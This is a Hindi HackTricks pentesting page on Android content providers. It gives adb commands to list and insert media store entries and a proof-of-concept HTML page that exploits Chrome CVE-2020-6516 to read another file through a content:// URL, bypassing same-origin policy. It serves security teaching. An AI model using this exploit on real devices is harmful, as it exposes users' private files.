hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

9.5 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

{% embed url="https://websec.nl/" %}

यह https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ पोस्ट का सारांश है

मीडिया स्टोर में फ़ाइलों की सूची बनाना

मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची बनाने के लिए, नीचे दिए गए कमांड का उपयोग किया जा सकता है:

$ content query --uri content://media/external/file

एक और मानव-मित्र उत्पादन के लिए, केवल पहचानकर्ता और पथ प्रदर्शित करने के लिए प्रत्येक सूचीत फ़ाइल:

$ content query --uri content://media/external/file --projection _id,_data

Chrome की Content Providers तक पहुंच

Android पर Chrome content:// scheme के माध्यम से content providers तक पहुंच सकता है, जिससे यह तीसरे पक्ष के एप्लिकेशन द्वारा निर्यात की गई फोटो या दस्तावेज़ जैसी संसाधनों तक पहुंच सकता है। इसका उदाहरण देने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से उसका उपयोग किया जा सकता है:

मीडिया स्टोर में एक कस्टम एंट्री डालें:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

नए डाले गए फ़ाइल की पहचान खोजें:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

फाइल फिर Chrome में देखी जा सकती है उस URL का उपयोग करके जो फ़ाइल की पहचानकर्ता के साथ निर्मित है।

उदाहरण के लिए, किसी विशिष्ट एप्लिकेशन से संबंधित फ़ाइलों की सूची बनाने के लिए:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Same Origin Policy (SOP) एक सुरक्षा प्रोटोकॉल है जो ब्राउज़र में वेब पेजों को विभिन्न मूलों से संसाधनों के साथ बातचीत करने से रोकता है जब तक Cross-Origin-Resource-Sharing (CORS) नीति द्वारा व्यक्तिगत रूप से अनुमति न दी जाए। यह नीति सूचना लीक और क्रॉस-साइट अनुरोध फर्जी से बचाने का उद्देश्य रखती है। Chrome content:// को स्थानीय योजना के रूप में मानता है, जिससे अधिक सख्त SOP नियम होते हैं, जहां प्रत्येक स्थानीय योजना URL को एक अलग मूल के रूप में व्यवहार किया जाता है।

हालांकि, CVE-2020-6516 एक व्यवस्था में एक कमी थी जिसने Chrome में SOP नियमों को content:// URL के माध्यम से लोड किए गए संसाधनों के लिए एक बायपास की अनुमति दी। प्रभाव में, content:// URL के माध्यम से लोड किए गए अन्य संसाधनों तक JavaScript कोड तक पहुंच सकता था, जो खासकर Android डिवाइस पर एक महत्वपूर्ण सुरक्षा चिंता थी, खासकर Android 10 से पहले के संस्करणों पर, जहां स्कोप्ड स्टोरेज को लागू नहीं किया गया था।

नीचे दिया गया प्रमाण-कोन्सेप्ट इस कमी को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, /sdcard के तहत अपलोड करने के बाद और मीडिया स्टोर में जोड़ने के बाद, अपने JavaScript में XMLHttpRequest का उपयोग करता है ताकि वह एक और फ़ाइल के सामग्री तक पहुंच सके और उसे प्रदर्शित कर सके, SOP नियमों को छलकर।

प्रमाण-कोन्सेप्ट HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: